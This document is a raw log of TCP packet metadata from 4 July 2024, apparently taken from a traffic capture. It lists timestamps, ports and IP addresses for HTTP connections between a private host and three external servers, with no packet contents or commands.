Jul 4, 2024 20:34:25.622999907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623001099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623011112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623019934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623028994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623037100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623048067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623049974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623058081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623066902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623069048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623079062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623086929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623089075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623097897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623116016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623122931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623126030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623141050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623147011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623151064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623161077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623172045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623174906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623182058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623193979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623200893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623219967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623246908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623250961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623265028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623275042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623284101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623289108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623295069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623306036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623308897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623341084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623404980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623414993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623425007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623435974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623450994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623451948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623462915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623466969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623478889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623490095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623491049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623500109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623508930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623511076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623519897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623529911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623541117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623543024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623573065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623586893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623687983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623698950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623709917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623720884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623730898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.623733997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623756886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.623764992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.624034882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.624046087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.624073029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.624093056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.624907017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.624953032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.625030994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.625041962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.625072002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.625524998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.625574112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.625638962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.625679016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.625762939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.625806093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.625900984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.625937939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.626509905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626524925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626534939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626544952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626557112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.626576900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.626650095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626661062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626669884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.626692057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.626703024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.641701937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641715050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641725063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641735077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641746044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641760111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641771078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641804934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.641829967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641845942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641855955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641865969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641875982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641885042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641895056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.641974926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.641974926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.641974926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.641974926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.641974926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.674989939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675005913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675017118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675035000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675049067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675060987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675060034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.675071001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675081015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.675112009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.675126076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.680346966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680366039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680377007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680404902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.680425882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.680485010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680495977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680505037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680515051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.680536985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.680566072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.717886925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.717899084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.717910051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.717976093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.717987061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.717998028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718008041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718019009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718045950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718045950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718045950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718067884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718089104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718100071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718111038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718120098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718130112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718137980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718158007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718163967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718172073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718175888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718199015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718209028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718209028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718235016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718252897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718262911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718264103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718288898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718305111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718322992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718333960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718343973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718367100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718388081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718430996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718442917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718452930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718461990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718472004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718482971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718487978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718497992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718508005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718528986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718537092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718543053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718554974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718564034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718564987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718575001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718580961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718590021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718616962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718647957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718657970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718668938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718678951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718688011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718688965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718703032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718729973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718733072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718739986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718750000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718760967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718770981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718775034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718785048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718795061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718817949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718830109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718830109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718851089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718859911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718861103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718871117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718889952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718905926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.718985081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.718996048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719005108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719014883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719031096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719037056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719041109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719050884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719055891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719062090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719072104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719078064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719095945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719114065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719120026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719125032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719136000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719146967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719171047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719176054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719185114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719193935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719204903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719214916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719218016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719225883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719247103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719268084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719304085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719312906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719321966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719332933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719347954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719348907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719358921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719362020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719378948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719383955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719391108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719400883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719408989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719443083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719724894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.719769955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.719979048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.720031977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:26.479403019 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:26.479744911 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:26.484894991 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:26.484911919 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:26.484966993 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:26.485003948 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:26.485227108 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:26.490030050 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:26.823559046 CEST	49746	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:26.828501940 CEST	80	49746	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:26.828573942 CEST	49746	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:26.828706980 CEST	49746	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:26.833504915 CEST	80	49746	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:27.186362982 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:27.186417103 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:27.187567949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.187889099 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.192692041 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.192758083 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.192914009 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.193865061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.193909883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.197717905 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.460813999 CEST	80	49746	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:27.460884094 CEST	49746	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:27.930845022 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.930903912 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.930948019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.930958986 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.930969000 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.930980921 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.930991888 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.930993080 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.931005001 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.931010008 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.931025982 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.931050062 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.931303978 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.931313992 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.931324959 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.931339025 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.931349039 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.935832977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.935884953 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.935897112 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.935933113 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:27.936036110 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.936045885 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:27.936079025 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.056998968 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057013988 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057024956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057038069 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057049990 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057097912 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057131052 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057179928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057198048 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057209969 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057216883 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057246923 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057552099 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057602882 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057626009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057637930 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057672024 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057738066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057749033 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057760000 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.057781935 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.057794094 CEST	49747	80	192.168.2.4	77.91.77.81
